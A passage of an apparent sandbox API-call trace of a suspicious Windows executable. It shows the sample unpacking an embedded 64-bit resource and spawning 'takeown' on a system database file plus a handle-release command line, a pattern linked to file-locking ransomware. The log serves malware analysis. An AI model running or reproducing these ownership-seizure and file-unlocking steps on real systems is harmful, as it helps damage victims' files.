!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿìÓëOäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.865] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x80) returned 0x669228 [0052.875] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.875] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0052.875] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x669228) returned 0x80 [0052.876] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0052.876] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0052.876] GetCurrentProcess () returned 0xffffffff [0052.876] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0052.876] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0052.876] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0052.878] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0052.878] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0052.878] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0052.878] LockResource (hResData=0x43c648) returned 0x43c648 [0052.878] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x18) returned 0x6696f8 [0052.878] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.460] GetLastError () returned 0x20 [0053.461] GetLastError () returned 0x20 [0053.461] SetLastError (dwErrCode=0x20) [0053.461] GetLastError () returned 0x20 [0053.461] SetLastError (dwErrCode=0x20) [0053.461] GetLastError () returned 0x20 [0053.461] SetLastError (dwErrCode=0x20) [0053.461] GetLastError () returned 0x20 [0053.461] SetLastError (dwErrCode=0x20) [0053.461] GetLastError () returned 0x20 [0053.461] SetLastError (dwErrCode=0x20) [0053.461] GetLastError () returned 0x20 [0053.461] SetLastError (dwErrCode=0x20) [0053.461] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1000) returned 0x669718 [0053.462] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0053.462] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6687f8 | out: hHeap=0x650000) returned 1 [0053.462] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0053.463] ExitProcess (uExitCode=0x1) [0053.463] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6670b0 | out: hHeap=0x650000) returned 1 Process: id = "18" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x2918b000" os_pid = "0x560" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xbb4" cmd_line = "takeown /F \"C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 104 os_tid = 0x868 Process: id = "19" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x27f94000" os_pid = "0xbe8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xbb4" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 106 os_tid = 0x8fc [0050.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3eff5c | out: lpSystemTimeAsFileTime=0x3eff5c*(dwLowDateTime=0xc7ece6c0, dwHighDateTime=0x1d5d06a)) [0050.781] GetCurrentProcessId () returned 0xbe8 [0050.781] GetCurrentThreadId () returned 0x8fc [0050.781] GetTickCount () returned 0x11573f8 [0050.781] QueryPerformanceCounter (in: lpPerformanceCount=0x3eff54 | out: lpPerformanceCount=0x3eff54*=19273344570) returned 1 [0050.782] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0050.782] __set_app_type (_Type=0x1) [0050.782] __p__fmode () returned 0x76be31f4 [0050.782] __p__commode () returned 0x76be31fc [0050.782] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0050.783] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0050.783] GetCurrentThreadId () returned 0x8fc [0050.783] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8fc) returned 0x60 [0050.783] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0050.783] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0050.783] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.796] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.796] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3efeec | out: phkResult=0x3efeec*=0x0) returned 0x2 [0050.796] VirtualQuery (in: lpAddress=0x3eff23, lpBuffer=0x3efebc, dwLength=0x1c | out: lpBuffer=0x3efebc*(BaseAddress=0x3ef000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0050.796] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x3efebc, dwLength=0x1c | out: lpBuffer=0x3efebc*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0050.796] VirtualQuery (in: lpAddress=0x2f1000, lpBuffer=0x3efebc, dwLength=0x1c | out: lpBuffer=0x3efebc*(BaseAddress=0x2f1000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0050.796] VirtualQuery (in: lpAddress=0x2f3000, lpBuffer=0x3efebc, dwLength=0x1c | out: lpBuffer=0x3efebc*(BaseAddress=0x2f3000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0050.796] VirtualQuery (in: lpAddress=0x3f0000, lpBuffer=0x3efebc, dwLength=0x1c | out: lpBuffer=0x3efebc*(BaseAddress=0x3f0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0050.796] GetConsoleOutputCP () returned 0x1b5 [0050.803] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0050.803] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0050.803] _get_osfhandle (_FileHandle=1) returned 0x80 [0050.803] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0050.805] _get_osfhandle (_FileHandle=1) returned 0x80 [0050.805] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0050.805] _get_osfhandle (_FileHandle=0) returned 0x3 [0050.805] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0050.811] GetEnvironmentStringsW () returned 0x4e21e0* [0050.811] GetProcessHeap () returned 0x4d0000 [0050.812] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xb86) returned 0x4e2d70 [0050.812] FreeEnvironmentStringsW (penv=0x4e21e0) returned 1 [0050.812] GetProcessHeap () returned 0x4d0000 [0050.812] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x4) returned 0x4e2060 [0050.812] GetEnvironmentStringsW () returned 0x4e21e0* [0050.812] GetProcessHeap () returned 0x4d0000 [0050.812] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xb86) returned 0x4e3900 [0050.812] FreeEnvironmentStringsW (penv=0x4e21e0) returned 1 [0050.812] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3eee5c | out: phkResult=0x3eee5c*=0x68) returned 0x0 [0050.812] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x0, lpData=0x3eee68*=0x0, lpcbData=0x3eee60*=0x1000) returned 0x2 [0050.812] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x4, lpData=0x3eee68*=0x1, lpcbData=0x3eee60*=0x4) returned 0x0 [0050.812] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x0, lpData=0x3eee68*=0x1, lpcbData=0x3eee60*=0x1000) returned 0x2 [0050.812] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x4, lpData=0x3eee68*=0x0, lpcbData=0x3eee60*=0x4) returned 0x0 [0050.812] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x4, lpData=0x3eee68*=0x40, lpcbData=0x3eee60*=0x4) returned 0x0 [0050.812] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x4, lpData=0x3eee68*=0x40, lpcbData=0x3eee60*=0x4) returned 0x0 [0050.812] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x0, lpData=0x3eee68*=0x40, lpcbData=0x3eee60*=0x1000) returned 0x2 [0050.812] RegCloseKey (hKey=0x68) returned 0x0 [0050.813] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3eee5c | out: phkResult=0x3eee5c*=0x68) returned 0x0 [0050.813] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x0, lpData=0x3eee68*=0x40, lpcbData=0x3eee60*=0x1000) returned 0x2 [0050.813] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x4, lpData=0x3eee68*=0x1, lpcbData=0x3eee60*=0x4) returned 0x0 [0050.813] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x0, lpData=0x3eee68*=0x1, lpcbData=0x3eee60*=0x1000) returned 0x2 [0050.813] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x4, lpData=0x3eee68*=0x0, lpcbData=0x3eee60*=0x4) returned 0x0 [0050.813] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x4, lpData=0x3eee68*=0x9, lpcbData=0x3eee60*=0x4) returned 0x0 [0050.813] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x4, lpData=0x3eee68*=0x9, lpcbData=0x3eee60*=0x4) returned 0x0 [0050.813] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3eee64, lpData=0x3eee68, lpcbData=0x3eee60*=0x1000 | out: lpType=0x3eee64*=0x0, lpData=0x3eee68*=0x9, lpcbData=0x3eee60*=0x1000) returned 0x2 [0050.813] RegCloseKey (hKey=0x68) returned 0x0 [0050.813] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710cf [0050.813] srand (_Seed=0x5e2710cf) [0050.813] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner" [0050.813] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner" [0050.813] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0050.814] GetProcessHeap () returned 0x4d0000 [0050.814] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x210) returned 0x4e4490 [0050.814] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e4498, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0050.814] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0050.814] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0050.814] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0050.814] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0050.814] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0050.814] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0050.814] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0050.814] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0050.814] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0050.814] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0050.814] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0050.814] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0050.814] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0050.814] GetProcessHeap () returned 0x4d0000 [0050.814] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x54) returned 0x4e46a8 [0050.814] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3efc28 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0050.814] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3efc28, lpFilePart=0x3efc24 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3efc24*="Desktop") returned 0x25 [0050.814] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0050.814] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ef9a4 | out: lpFindFileData=0x3ef9a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4e2070 [0050.815] FindClose (in: hFindFile=0x4e2070 | out: hFindFile=0x4e2070) returned 1 [0050.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ef9a4 | out: lpFindFileData=0x3ef9a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4e2070 [0050.815] FindClose (in: hFindFile=0x4e2070 | out: hFindFile=0x4e2070) returned 1 [0050.815] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0050.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ef9a4 | out: lpFindFileData=0x3ef9a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4e2070 [0050.815] FindClose (in: hFindFile=0x4e2070 | out: hFindFile=0x4e2070) returned 1 [0050.815] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0050.815] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0050.815] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0050.815] GetProcessHeap () returned 0x4d0000 [0050.815] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4e2d70 | out: hHeap=0x4d0000) returned 1 [0050.815] GetEnvironmentStringsW () returned 0x4e21e0* [0050.815] GetProcessHeap () returned 0x4d0000 [0050.815] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xb86) returned 0x4e2d70 [0050.815] FreeEnvironmentStringsW (penv=0x4e21e0) returned 1 [0050.815] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0050.815] GetProcessHeap () returned 0x4d0000 [0050.815] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4e46a8 | out: hHeap=0x4d0000) returned 1 [0050.815] GetProcessHeap () returned 0x4d0000 [0050.815] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x400e) returned 0x4e4f08 [0050.816] GetProcessHeap () returned 0x4d0000 [0050.816] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x76) returned 0x4e8f38 [0050.816] GetProcessHeap () returned 0x4d0000 [0050.816] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4e4f08 | out: hHeap=0x4d0000) returned 1 [0050.816] GetConsoleOutputCP () returned 0x1b5 [0050.819] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0050.819] GetUserDefaultLCID () returned 0x409 [0050.822] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3efd68, cchData=128 | out: lpLCData="0") returned 2 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3efd68, cchData=128 | out: lpLCData="0") returned 2 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3efd68, cchData=128 | out: lpLCData="1") returned 2 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0050.823] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0050.823] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0050.824] GetProcessHeap () returned 0x4d0000 [0050.824] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x20c) returned 0x4e21e0 [0050.824] GetConsoleTitleW (in: lpConsoleTitle=0x4e21e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0050.830] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0050.830] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0050.830] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0050.831] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0050.831] GetProcessHeap () returned 0x4d0000 [0050.831] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x400a) returned 0x4e4f08 [0050.831] GetProcessHeap () returned 0x4d0000 [0050.831] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4e4f08 | out: hHeap=0x4d0000) returned 1 [0050.832] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0050.832] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0050.832] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0050.832] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0050.832] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0050.832] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0050.832] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0050.832] GetProcessHeap () returned 0x4d0000 [0050.832] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x58) returned 0x4e46a8 [0050.832] GetProcessHeap () returned 0x4d0000 [0050.832] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x22) returned 0x4e23f8 [0050.833] GetProcessHeap () returned 0x4d0000 [0050.833] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x5a) returned 0x4e2428 [0050.834] GetConsoleTitleW (in: lpConsoleTitle=0x3efa60, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0050.835] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0050.835] _wcsicmp 